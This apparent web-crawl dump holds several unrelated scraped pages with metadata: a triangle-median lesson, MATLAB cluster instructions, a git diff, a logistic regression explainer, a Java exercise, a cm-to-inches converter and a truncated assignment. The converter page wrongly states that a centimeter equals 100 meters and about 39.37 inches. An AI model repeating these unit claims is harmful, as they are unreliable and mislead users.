] | {"ft_lang_label":"__label__en","ft_lang_prob":0.84069103,"math_prob":0.9981342,"size":7468,"snap":"2021-21-2021-25","text_gpt3_token_len":1960,"char_repetition_ratio":0.13652197,"word_repetition_ratio":0.19095477,"special_character_ratio":0.26526514,"punctuation_ratio":0.07709581,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9997358,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-06-24T22:16:51Z\",\"WARC-Record-ID\":\"<urn:uuid:24c34438-7bc9-4a4d-ace4-a20f2ddcc9f2>\",\"Content-Length\":\"20689\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:738a21c8-60df-47ee-aa20-736084fcaf5f>\",\"WARC-Concurrent-To\":\"<urn:uuid:2e7d84f5-f9f3-45bc-a93c-e8a6a4b886fd>\",\"WARC-IP-Address\":\"141.138.168.125\",\"WARC-Target-URI\":\"https://statkat.org/stat-tests/two-sample-t-test-equal-variances-not-assumed.php\",\"WARC-Payload-Digest\":\"sha1:SVCZBPDSOUSIOQXA4YNG6VYD5US3DMKR\",\"WARC-Block-Digest\":\"sha1:IVXW7L3AARTGB7S3B6UROPMBOCANCO7H\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-25/CC-MAIN-2021-25_segments_1623488559139.95_warc_CC-MAIN-20210624202437-20210624232437-00284.warc.gz\"}"} |
https://www.yaclass.in/p/mathematics/class-7/geometry-1485/median-of-a-triangle-2126/re-fb9b9e74-9a24-4f03-8e87-57ce23bbb6a6 | [
"### Теория:\n\nA median is an intersecting line, separating the original triangle into two triangles of equal area.\nLet's discuss the day to day application of the median.\n\nIn your home, your mom cooked Mexican hexagon pizza (look like as below picture).",
null,
"Your mom offered one piece to you. At that time one of your friends arrives at your home.\n\nNow the question is how you will divide your pizza so that each of you will get the same amount.\n\nHere comes a remarkable concept to solve this issue. Use the concept of MEDIAN.\n\nLet the corners of the pizza piece be $$A, B$$ and $$C$$.",
null,
"From any interior angle (say $$A$$) of a triangle, $$ABC$$ cut the midpoint of the opposite side (say $$D$$) so that you will have an equal amount of pizza ($$ADB$$ and $$ADC$$) for you and your friend.\n\nSuppose two more friends arrived!\n\nAgain use the concept of MEDIAN.\n\nCut the pizza along another median, from any interior angle to the midpoint of the opposite side (Say $$D$$ to the midpoint $$E$$ of $$AC$$ and $$D$$ to the midpoint $$F$$ of $$AB$$).",
null,
"Let's enjoy the pizza with your friends as all get an equal amount."
] | [
null,
"https://ykl-eu-resources.azureedge.net/e657ee7f-4cc8-40ef-9e07-ee0ea7d21c3a/Theory2.1-w300.png",
null,
"https://ykl-eu-resources.azureedge.net/9dc6dac1-3987-432e-9d32-50f7622042bb/Theory2.2-w300.png",
null,
"https://ykl-eu-resources.azureedge.net/89eb33c9-cd5e-404a-aac2-a3a40a8fea9e/Theory2.3-w300.png",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.9209456,"math_prob":0.9991617,"size":1146,"snap":"2020-10-2020-16","text_gpt3_token_len":274,"char_repetition_ratio":0.1313485,"word_repetition_ratio":0.019512195,"special_character_ratio":0.2556719,"punctuation_ratio":0.09130435,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9987689,"pos_list":[0,1,2,3,4,5,6],"im_url_duplicate_count":[null,2,null,2,null,2,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-02-25T12:08:19Z\",\"WARC-Record-ID\":\"<urn:uuid:991b2a8b-cf2a-4d15-848f-ccf343d98ba4>\",\"Content-Length\":\"26013\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:0fed5973-bac0-4291-ae46-8265d7312344>\",\"WARC-Concurrent-To\":\"<urn:uuid:67cc0ee5-22f8-4b23-9d2a-c658e14dc0b5>\",\"WARC-IP-Address\":\"52.178.29.39\",\"WARC-Target-URI\":\"https://www.yaclass.in/p/mathematics/class-7/geometry-1485/median-of-a-triangle-2126/re-fb9b9e74-9a24-4f03-8e87-57ce23bbb6a6\",\"WARC-Payload-Digest\":\"sha1:FLWH4FOAJRS2MTGCSSJ6K7PB6ULFV2H4\",\"WARC-Block-Digest\":\"sha1:HF63YU563KSRIUZQGYDAVXJJHKP5UKCZ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-10/CC-MAIN-2020-10_segments_1581875146066.89_warc_CC-MAIN-20200225110721-20200225140721-00161.warc.gz\"}"} |
https://wynton.ucsf.edu/hpc/howto/matlab.html | [
"Examples not working?\n\n# Work with MATLAB\n\nMATLAB is available on Wynton HPC via a built-in environment module and is supported by a UCSF-wide MATLAB license.\n\n## Accessing MATLAB\n\nTo load the MATLAB module, do:\n\n``````[alice@dev2 ~]\\$ module load matlab\n[alice@dev2 ~]\\$ matlab -nosplash -nodesktop\nMATLAB is selecting SOFTWARE OPENGL rendering.\n\n< M A T L A B (R) >\nR2021a (9.10.0.1602886) 64-bit (glnxa64)\nFebruary 17, 2021\n\nTo get started, type doc.\nFor product information, visit www.mathworks.com.\n\n>> 1+2\n\nans =\n\n3\n\n>> quit\n\n[alice@dev2 ~]\\$\n``````\n\nIf you forget to load the MATLAB module, then you will get an error when attempting to start MATLAB:\n\n``````[alice@dev2 ~]\\$ matlab\n``````\n\n## Using MATLAB in job scripts\n\nIn order to run MATLAB in jobs, the MATLAB environment module needs to be loaded just as when you run it interactive on a development node. For example, to run the `my_script.m` script, the job script should at a minimum contain:\n\n``````#! /usr/bin/env bash\n#\\$ -cwd ## SGE directive to run in the current working directory\n\n``````\n\nThe `-batch` option tells MATLAB to run the `my_script.m` script in batch mode, in contrast to interactive mode. The `-singleCompThread` option tells MATLAB to run in sequential mode; this prevents your job for overusing the compute nodes by mistake.\n\n### Parallel processing in MATLAB\n\nIf your MATLAB code supports parallel processing, make sure to specify the number of CPU cores when submitting your job submit, e.g. `-pe smp 4` will request four cores on one machine, which in turn will set environment variable `NSLOTS` to `4`. To make your MATLAB script respect this, add the following at the top of your script:\n\n``````%% Make MATLAB respect the number of cores that the SGE scheduler\n%% has alloted the job. If not specified, run with a single core,\n%% e.g. when running on a development node\nnslots = getenv('NSLOTS'); % env var is always a 'char'\nif (isempty(nslots)) nslots = '1'; end % default value\nnslots = str2num(nslots); % coerce to 'double'\nmaxNumCompThreads(nslots); % number of cores MATLAB may use\n``````\n\nand then launch your MATLAB script without option `-singleCompThread`, e.g. `matlab -batch my_script.m`."
] | [
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https://git-crypto.elen.ucl.ac.be/spook/hw_ctf/-/commit/7244c49c50e374da01769ea2443205c3a2cf2cf5 | [
"### Done with API section, not much to say\n\nparent 0d9d65a4\n ... ... @@ -44,8 +44,8 @@ and linux shell. The following [PyPi](https://pypi.or) packages are required: ### Data Formatting To perform an operation (e.g., encryption or decryption), data are sent to and received from the core according to a specific communication protocol based on sequences of 32bits words (denoted next commands). A command is considered as a vector of 32 bits, for which each bits is denoted bi (b0 being the a specific communication protocol based on sequences of 32-bit words (denoted next commands). A command is considered as a vector of 32-bit, for which each bits is denoted bi (b0 being the less significant bit), as shown here:\n... ... @@ -127,8 +127,8 @@ Putting all together, the following header structure is considered: **Raw data** This is the basic command type, representing the raw data sent to the core. In that case, the 32bits are useful bits of the data, the latter being encoded as a sequence of 32bits words. This is the basic command type, representing the raw data sent to the core. In that case, the 32 bits are useful bits of the data, the latter being encoded as a sequence of 32-bit words. ### Commands Flows ... ...\nMarkdown is supported\n0% or\nYou are about to add 0 people to the discussion. Proceed with caution.\nFinish editing this message first!"
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.9024244,"math_prob":0.8017491,"size":1352,"snap":"2020-24-2020-29","text_gpt3_token_len":354,"char_repetition_ratio":0.1120178,"word_repetition_ratio":0.38709676,"special_character_ratio":0.29068047,"punctuation_ratio":0.17375886,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9599145,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-07-07T02:46:57Z\",\"WARC-Record-ID\":\"<urn:uuid:e7c73408-7db6-4079-9484-8d04acbd5406>\",\"Content-Length\":\"66820\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:809e91dd-8fa0-4612-8a44-936f7364d546>\",\"WARC-Concurrent-To\":\"<urn:uuid:94a78d05-b7d8-40ca-a28b-f3cf4ecc5121>\",\"WARC-IP-Address\":\"130.104.205.171\",\"WARC-Target-URI\":\"https://git-crypto.elen.ucl.ac.be/spook/hw_ctf/-/commit/7244c49c50e374da01769ea2443205c3a2cf2cf5\",\"WARC-Payload-Digest\":\"sha1:S3244USPB3LDOEJFQIYLCOV3CR4BRSRU\",\"WARC-Block-Digest\":\"sha1:UWVMESIJEWVBEUV43DNJF4ASSUI2PG3T\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-29/CC-MAIN-2020-29_segments_1593655891640.22_warc_CC-MAIN-20200707013816-20200707043816-00519.warc.gz\"}"} |
https://www.statisticssolutions.com/using-logistic-regression-in-research/ | [
"# Using Logistic Regression in Research\n\nBinary Logistic Regression is a statistical analysis that determines how much variance, if at all, is explained on a dichotomous dependent variable by a set of independent variables.\n\nHow does the probability of getting lung cancer change for every additional pound of overweight and for every X cigarettes smoked per day?\n\nDo body weight calorie intake, fat intake, and age have an influence on heart attacks (yes vs. no)?\n\nThe major assumptions are:\n\n1. That the outcome must be discrete, otherwise explained as, the dependent variable should be dichotomous in nature (e.g., presence vs. absent);\n2. There should be no outliers in the data, which can be assessed by converting the continuous predictors to standardized, or z scores, and remove values below -3.29 or greater than 3.29.\n3. There should be no high intercorrelations (multicollinearity) among the predictors. This can be assessed by a correlation matrix among the predictors. Tabachnick and Fidell (2012) suggest that as long correlation coefficients among independent variables are less than 0.90 the assumption is met.\n\nCategorical outcome variables with more than two categories can be handled using special forms of logistic regression. Outcome variables with three or more categories which are not ordered can be examined using multinomial logistic regression, while ordered outcome variables can be examined using various forms of ordinal logistic regression. These techniques require a number of additional assumptions and tests, so we will focus now strictly on binary logistic regression.\n\nBinary logistic regression is estimated using Maximum Likelihood Estimation (MLE), unlike linear regression which uses the Ordinary Least Squares (OLS) approach. MLE is an iterative procedure, meaning that it starts with a guess as to the best weight for each predictor variable (that is, each coefficient in the model) and then adjusts these coefficients repeatedly until there is no additional improvement in the ability to predict the value of the outcome variable (either 0 or 1) for each case. While OLS regression can be visualized as the process of finding the line which best fits the data, logistic regression is more similar to crosstabulation given that the outcome is categorical and the test statistic utilized is the Chi Square\n\nHow is logistic regression run in SPSS and how is the output interpreted?\nIn SPSS, binary logistic regression is located on the Analyze drop list, under theRegression menu. The outcome variable – which must be coded as 0 and 1 – is placed in the first box labeled Dependent, while all predictors are entered into the Covariates box (categorical variables should be appropriately dummy coded). SPSS predicts the value labeled 1 by default, so careful attention should be paid to the coding of the outcome (usually it makes more sense to examine the presence of a characteristic or “success”).\n\nSPSS produces lots of output for logistic regression, but below we focus on the most important panel of coefficients to determine the direction, magnitude, and significance of each predictor.",
null,
"For example, let’s examine a study that is interested in whether or not individuals have been tested for HIV. Looking first at Age as a predictor, we see that the value in the column labeled B (also known as the logit, the logit coefficient, the logistic regression coefficient, or the parameter estimate) is -.035. This indicates that the association between age and testing is negative; that is, as age increases, testing for HIV decreases. Much like in OLS regression, a logit of 0 indicates no relationship while a positive logit is associated with an increase in the logged odds of success and a negative logit is associated with a decrease in the logged odds of success.\n\nBut what is the magnitude of this effect? Technically we could say that for every additional year of age, the odds of having been tested for HIV decrease by a factor of .035. This is not very intuitive, however, as we don’t generally have a strong sense of what odds are. In fact, it is much more common to look to the last column of this table, labeled Exp(B). This is the Odds Ratio and can be interpreted as the change in the odds of success. It is important to note that Odds Ratios (ORs) are relative to 1, meaning that an OR of 1 indicates no relationship while an OR greater than 1 indicates a positive relationship and an OR less than 1 a negative relationship. For most people ORs are most intuitively interpreted by converting to percent changes in the odds of success. This is simply done:\n\n(Odds Ratio – 1) * 100 = percent change\n\nSo here we could say that each additional year of age reduces the odds of having been tested for HIV by 3.5%.\n\nThe interpretation of dummy-coded predictors is even easier in logistic regression. Here we compare the odds of those coded 1 (females in this example) to those coded 0 (males). Using the same simple equation as above, we find that women have 31.5% greater odds of having been tested for HIV compared to men. For both age and sex we see that the p-value is extremely small (< .01), so we conclude that each predictor is significantly associated with the outcome of interest.\n\nWhat are special concerns with regard to logistic regression?\nOne key way in which logistic regression differs from OLS regression is with regard to explained variance or R2. Because logistic regression estimates the coefficients using MLE rather than OLS (see above), there is no direct corollary to explained variance in logistic regression. Nevertheless, many people want an equivalent way of describing how good a particular model is, and numerous pseudo-R2 values have been developed. These should be interpreted with extreme caution as they have many computational issues which cause them to be artificially high or low. A better approach is to present any of the goodness of fit tests available; Hosmer-Lemeshow is a commonly used measure of goodness of fit based on the Chi-square test (which makes sense given that logistic regression is related to crosstabulation).\n\n.\n\nStatistics Solutions can assist with your quantitative analysis by assisting you to develop your methodology and results chapters. The services that we offer include:\n\nData Analysis Plan\n\n• Edit your research questions and null/alternative hypotheses\n• Write your data analysis plan; specify specific statistics to address the research questions, the assumptions of the statistics, and justify why they are the appropriate statistics; provide references\n• Justify your sample size/power analysis, provide references\n• Explain your data analysis plan to you so you are comfortable and confident\n\nQuantitative Results Section (Descriptive Statistics, Bivariate and Multivariate Analyses, Structural Equation Modeling, Path analysis, HLM, Cluster Analysis)\n\n• Clean and code dataset\n• Conduct descriptive statistics (i.e., mean, standard deviation, frequency and percent, as appropriate)\n• Conduct analyses to examine each of your research questions\n• Write-up results\n• Provide APA 6th edition tables and figures\n• Explain chapter 4 findings\n• Ongoing support for entire results chapter statistics\n\n*Please call 877-437-8622 to request a quote based on the specifics of your research, or email [email protected]."
] | [
null,
"data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20417%20126'%3E%3C/svg%3E",
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.918874,"math_prob":0.92235583,"size":7525,"snap":"2021-21-2021-25","text_gpt3_token_len":1510,"char_repetition_ratio":0.12578115,"word_repetition_ratio":0.014049587,"special_character_ratio":0.19614618,"punctuation_ratio":0.09213483,"nsfw_num_words":1,"has_unicode_error":false,"math_prob_llama3":0.99213076,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-05-18T17:19:16Z\",\"WARC-Record-ID\":\"<urn:uuid:2ee66251-dbe6-42ce-9a76-9131b81d7d6d>\",\"Content-Length\":\"95304\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:4d757b03-d1f4-48c4-af5a-417b3f5be1a9>\",\"WARC-Concurrent-To\":\"<urn:uuid:d8e49bb0-3639-4a22-ae30-779f0904940e>\",\"WARC-IP-Address\":\"104.26.6.142\",\"WARC-Target-URI\":\"https://www.statisticssolutions.com/using-logistic-regression-in-research/\",\"WARC-Payload-Digest\":\"sha1:NDBUSGX2Z25X5QJ5IRXBSO2JVOGFJTE2\",\"WARC-Block-Digest\":\"sha1:IGVYJNNEYGV3O4MWEAN4S7PLYNOLSIO6\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-21/CC-MAIN-2021-21_segments_1620243991288.0_warc_CC-MAIN-20210518160705-20210518190705-00608.warc.gz\"}"} |
http://philosophyideas.com/search/response_text.asp?author=Hilary%20Putnam&visit=list&TX=11704&order=author | [
"### Ideas from 'Philosophy of Logic' by Hilary Putnam , by Theme Structure\n\n#### [found in 'Philosophy of Logic' by Putnam,Hilary [Routledge 1972,978-0-415-58125-7]].\n\ngreen numbers give full details | back to texts | expand these ideas\n\n###### 3. Truth / F. Semantic Truth / 1. Tarski's Truth / a. Tarski's truth definition\n 18951 For scientific purposes there is a precise concept of 'true-in-L', using set theory\n###### 4. Formal Logic / A. Syllogistic Logic / 1. Aristotelian Logic\n 18953 Modern notation frees us from Aristotle's restriction of only using two class-names in premises\n###### 4. Formal Logic / A. Syllogistic Logic / 2. Syllogistic Logic\n 18949 The universal syllogism is now expressed as the transitivity of subclasses\n###### 4. Formal Logic / C. Predicate Calculus PC / 2. Tools of Predicate Calculus / a. Symbols of PC\n 18952 '⊃' ('if...then') is used with the definition 'Px ⊃ Qx' is short for '¬(Px & ¬Qx)'\n###### 4. Formal Logic / F. Set Theory ST / 3. Types of Set / a. Types of set\n 18958 In type theory, 'x ∈ y' is well defined only if x and y are of the appropriate type\n###### 5. Theory of Logic / A. Overview of Logic / 2. History of Logic\n 18954 Before the late 19th century logic was trivialised by not dealing with relations\n###### 5. Theory of Logic / A. Overview of Logic / 5. First-Order Logic\n 18956 Asserting first-order validity implicitly involves second-order reference to classes\n###### 5. Theory of Logic / C. Ontology of Logic / 1. Ontology of Logic\n 18962 Unfashionably, I think logic has an empirical foundation\n###### 5. Theory of Logic / E. Structures of Logic / 5. Functions in Logic\n 18961 We can identify functions with certain sets - or identify sets with certain functions\n###### 5. Theory of Logic / I. Semantics of Logic / 3. Logical Truth\n 18955 Having a valid form doesn't ensure truth, as it may be meaningless\n###### 6. Mathematics / A. Nature of Mathematics / 5. The Infinite / f. Uncountable infinities\n 18959 Sets larger than the continuum should be studied in an 'if-then' spirit\n###### 8. Modes of Existence / E. Nominalism / 1. Nominalism / a. Nominalism\n 18957 Nominalism only makes sense if it is materialist\n###### 9. Objects / A. Existence of Objects / 2. Abstract Objects / b. Need for abstracta\n 18950 Physics is full of non-physical entities, such as space-vectors\n###### 14. Science / A. Basis of Science / 4. Prediction\n 18960 Most predictions are uninteresting, and are only sought in order to confirm a theory"
] | [
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https://matthew.maennche.com/2014/06/write-definition-method-printattitude-int-parameter-returns-nothing-method-prints-message-standard-output-depending-value-parameter-param/ | [
"# Write the definition of a method printAttitude, which has an int parameter and returns nothing. The method prints a message to standard output depending on the value of its parameter. If the parameter equals 1, the method prints disagree If the parameter equals 2, the method prints no opinion If the parameter equals 3, the method prints agree In the case of other values, the method does nothing. Each message is printed on a line by itself.\n\n### CHALLENGE:\n\nWrite the definition of a method printAttitude, which has an int parameter and returns nothing. The method prints a message to standard output depending on the value of its parameter.\nIf the parameter equals 1, the method prints disagree\nIf the parameter equals 2, the method prints no opinion\nIf the parameter equals 3, the method prints agree\nIn the case of other values, the method does nothing.\n\nEach message is printed on a line by itself.\n\n### SOLUTION:\n\n```void printAttitude (int pint){\nif (pint == 1){\nSystem.out.println(\"disagree\");\n}\n\nif (pint == 2){\nSystem.out.println(\"no opinion\");\n}\n\nif (pint == 3){\nSystem.out.println(\"agree\");\n}\n}\n```"
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.5679101,"math_prob":0.97829914,"size":1105,"snap":"2023-40-2023-50","text_gpt3_token_len":252,"char_repetition_ratio":0.21071753,"word_repetition_ratio":0.8202247,"special_character_ratio":0.22986425,"punctuation_ratio":0.14018692,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9604485,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-12-08T03:28:58Z\",\"WARC-Record-ID\":\"<urn:uuid:34df7091-bd1d-46b8-a3a2-f6524ffbcf41>\",\"Content-Length\":\"92300\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:bd27e3d0-8e8e-492b-ad85-41b4cc6cbc71>\",\"WARC-Concurrent-To\":\"<urn:uuid:ce0a6158-b699-4902-a9f2-66f2c56396c4>\",\"WARC-IP-Address\":\"172.67.140.28\",\"WARC-Target-URI\":\"https://matthew.maennche.com/2014/06/write-definition-method-printattitude-int-parameter-returns-nothing-method-prints-message-standard-output-depending-value-parameter-param/\",\"WARC-Payload-Digest\":\"sha1:B35OKLRJCWM3JU3VHSUVSK7LFKYYFZQF\",\"WARC-Block-Digest\":\"sha1:M5MAPU3RFE6NKXFZ74DLDP5QEKVAF6QP\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-50/CC-MAIN-2023-50_segments_1700679100710.22_warc_CC-MAIN-20231208013411-20231208043411-00860.warc.gz\"}"} |
https://forum.arduino.cc/t/could-someone-please-explain-this-code/338291 | [
"",
null,
"# Could someone please explain this code\n\nThis is a Matlab code I found for real time plot of Arduino output:\n\na = arduino(‘COM3’);\ninterv = 1000;\npasso = 1;\nt=1;\nx=0;\nwhile(t<interv)\nb=a.analogRead(0);\nx=[x,b];\nplot(x);\naxis([0,interv,0,1024]);\ngrid\nt=t+passo;\ndrawnow;\nend\n\nI don’t understand how x=[x,b] works. What happens to x through each iteration?\n\nThis is a simple concatenation of the existing list of readings x and the newly read value b, i.e. each iteration, the list grows by one element.\n\nThis is a Matlab code\n\nLuckily someone here in the [u]Arduino[/u] forum seems to know what it does."
] | [
null,
"https://aws1.discourse-cdn.com/arduino/original/3X/1/f/1f6eb1c9b79d9518d1688c15fe9a4b7cdd5636ae.svg",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.7147088,"math_prob":0.9613736,"size":311,"snap":"2021-21-2021-25","text_gpt3_token_len":111,"char_repetition_ratio":0.058631923,"word_repetition_ratio":0.0,"special_character_ratio":0.35691318,"punctuation_ratio":0.23809524,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9983494,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-06-14T22:35:50Z\",\"WARC-Record-ID\":\"<urn:uuid:96767003-3586-449c-8a37-52b1ec590413>\",\"Content-Length\":\"18491\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:dc85a58c-a1ca-4e50-a2e8-d8f03e07f9fd>\",\"WARC-Concurrent-To\":\"<urn:uuid:778a5ded-4145-41ba-9702-013c9c2fee88>\",\"WARC-IP-Address\":\"184.104.202.141\",\"WARC-Target-URI\":\"https://forum.arduino.cc/t/could-someone-please-explain-this-code/338291\",\"WARC-Payload-Digest\":\"sha1:H7W3IHNQSTT3ILW2CZZT22PGK46YFICS\",\"WARC-Block-Digest\":\"sha1:7M65VTHCKK6R4ECDJCIEKWR65CW53AVG\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-25/CC-MAIN-2021-25_segments_1623487613453.9_warc_CC-MAIN-20210614201339-20210614231339-00400.warc.gz\"}"} |
https://au.mathworks.com/matlabcentral/answers/581012-how-to-select-matrix-column-from-minimum-row-value | [
"# How to select matrix column from minimum row value\n\n1 view (last 30 days)\nDeon Cooper on 18 Aug 2020\nEdited: Sara Boznik on 18 Aug 2020\nI am currently doing a multi-part task, but the final step involves sorting a matrix I generated to find the lowest value in the row and selecting the whole column:\neg:\ndistance_to_point = [2, 3, 4, 5; 6.8, 2.9, 6.1, 6.7]\nI need to pick the column that has the lowest value in the second row (the distance value), and still identify the point from which the distance is measured, so that I end up with;\nnew_point = [3; 2.9]\nHow would I do this?\n\nSindar on 18 Aug 2020\ndistance_to_point = [2, 3, 4, 5; 6.8, 2.9, 6.1, 6.7]\n[~,idx] = min(distance_to_point(2,:));\nnew_point = distance_to_point(:,idx);\n\nSara Boznik on 18 Aug 2020\nEdited: Sara Boznik on 18 Aug 2020\ndistance_to_point = [2, 3, 4, 5; 6.8, 2.9, 6.1, 6.7]\nminima=min(distance_to_point(2,:))\n[m,n]=find(distance_to_point==minima)\nr=distance_to_point(1,n)\nnew_point=[minima; r]\n\nR2018b\n\n### Community Treasure Hunt\n\nFind the treasures in MATLAB Central and discover how the community can help you!\n\nStart Hunting!"
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.9293457,"math_prob":0.9833197,"size":444,"snap":"2021-43-2021-49","text_gpt3_token_len":127,"char_repetition_ratio":0.12045454,"word_repetition_ratio":0.024691358,"special_character_ratio":0.29504505,"punctuation_ratio":0.18348624,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9707112,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-10-24T10:09:55Z\",\"WARC-Record-ID\":\"<urn:uuid:99b5a796-b18e-4848-95f8-34abf36cdfcc>\",\"Content-Length\":\"114604\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:3a3fef3b-65d0-4b30-a5c5-45cd4ed19976>\",\"WARC-Concurrent-To\":\"<urn:uuid:60ea665e-7610-453b-b9eb-96ccf22893aa>\",\"WARC-IP-Address\":\"184.25.188.167\",\"WARC-Target-URI\":\"https://au.mathworks.com/matlabcentral/answers/581012-how-to-select-matrix-column-from-minimum-row-value\",\"WARC-Payload-Digest\":\"sha1:AVRMGNCWB2JYQVLLKYEXEAY33CCFYZZL\",\"WARC-Block-Digest\":\"sha1:TYC3U3HNQ6T5PCEYRCGMD4WJXAG5MI64\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-43/CC-MAIN-2021-43_segments_1634323585916.29_warc_CC-MAIN-20211024081003-20211024111003-00656.warc.gz\"}"} |
https://utzx.com/units/convert-235-cm-to-inches/ | [
"# Convert 235 CM to Inches\n\n## 1cm equals how many inches?\n\nDo you are seeking to convert 235 centimeters into an inch-length result? first, you should get the result how many inches one cm equals.\n\nYou may use the cm to inch converter calculator to calculate the conversion.\n\n## What is the centimeter?\n\nCentimeters, or Cm are the unit of length measurement in the metric system. Its symbol is cm. Globally, the international system of unit is used to define the meter, the CM is not. But a centimeter is equal to 100 meters. It is also around 39.37 inches.\n\nAn Anglo-American length unit for measuring is the inch (its symbol is in).. The symbol is in. In a variety of other European local languages, the word “inch” is similar to or is derived from “thumb”. The thumb of a man is approximately an inch in width.\n\n• Electronic components, like the dimensions of the PC screen.\n• Dimensions of tires for cars and trucks.\n\n## How Convert 235 cm into inches?\n\nConvert centimeters to inches using the cm to in converter. We may simply calculate the number of cm to inches by using this basic.\n\nYou now fully understand for centimeters into inches by the above. Using this simple formula, you can answer the following related questions:\n\n• What’s the formula to convert inches from 235 cm?\n• How to convert 235 cm to inches?\n• How to change 235 cm to inches?\n• How to measure cm into inches?\n• How big are 235 cm to inches?\n\n cm inches 234.2 cm 92.20454 inches 234.3 cm 92.24391 inches 234.4 cm 92.28328 inches 234.5 cm 92.32265 inches 234.6 cm 92.36202 inches 234.7 cm 92.40139 inches 234.8 cm 92.44076 inches 234.9 cm 92.48013 inches 235 cm 92.5195 inches 235.1 cm 92.55887 inches 235.2 cm 92.59824 inches 235.3 cm 92.63761 inches 235.4 cm 92.67698 inches 235.5 cm 92.71635 inches 235.6 cm 92.75572 inches 235.7 cm 92.79509 inches 235.8 cm 92.83446 inches"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.8266851,"math_prob":0.9796763,"size":1858,"snap":"2022-40-2023-06","text_gpt3_token_len":540,"char_repetition_ratio":0.21682848,"word_repetition_ratio":0.01875,"special_character_ratio":0.3519914,"punctuation_ratio":0.16113745,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.98341155,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-02-03T14:11:18Z\",\"WARC-Record-ID\":\"<urn:uuid:6ab40f2e-c61b-4298-a394-45dd775875c1>\",\"Content-Length\":\"134184\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:f5512ef6-4d62-462b-83df-202567d30a2d>\",\"WARC-Concurrent-To\":\"<urn:uuid:147f8132-45e1-4238-b611-98379b5dd1f7>\",\"WARC-IP-Address\":\"172.67.212.217\",\"WARC-Target-URI\":\"https://utzx.com/units/convert-235-cm-to-inches/\",\"WARC-Payload-Digest\":\"sha1:OQPXBJYVK4WMKBDZG3L75Z2X5XITZ6NF\",\"WARC-Block-Digest\":\"sha1:QQ3BFHFDXVLRSEELV6MQ3QDU4HZMLQJL\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-06/CC-MAIN-2023-06_segments_1674764500056.55_warc_CC-MAIN-20230203122526-20230203152526-00070.warc.gz\"}"} |
https://www.urgenthomework.com/question/r-language-assignment-question-1 | [
"• +1-617-874-1011 (US)\n• +44-117-230-1145 (UK)\n\n# R Language Assignment Question 1\n\n## STA304H1F/1003HF Assignment 3\n\nInstructions:\n\n• Answer all three (3) questions of this assignment.\n• Each assignment should be written up independently. Questions 1 and 2 should contain unique answers. If you work with other students on Question 3, indicate the names of the students on your solutions.\n• Presentation of solutions is important. Assignments should be word-processed and presently neatly.\n• Use proper statistical terminology and write in plain English.\n• Supporting materials, such as R codes and extraneous output should be placed in an Appendix.\n• Compile your entire solution, including your Appendix, as a PDF document (Word, LATEX or Rmark- down can be your base).\n\nGrading: The grand total is 60 marks. Each of the 11 parts is worth 5 marks and appendix/presentation of results is worth 5 marks. A general marking scheme for each part is given below:\n\nPer Question Part\n\n• 5 points: complete and correct answers\n• 4 points: answers with minor problems\n• 3 points: good answers that are unclear, con- tain some mistakes, missing components\n• 2 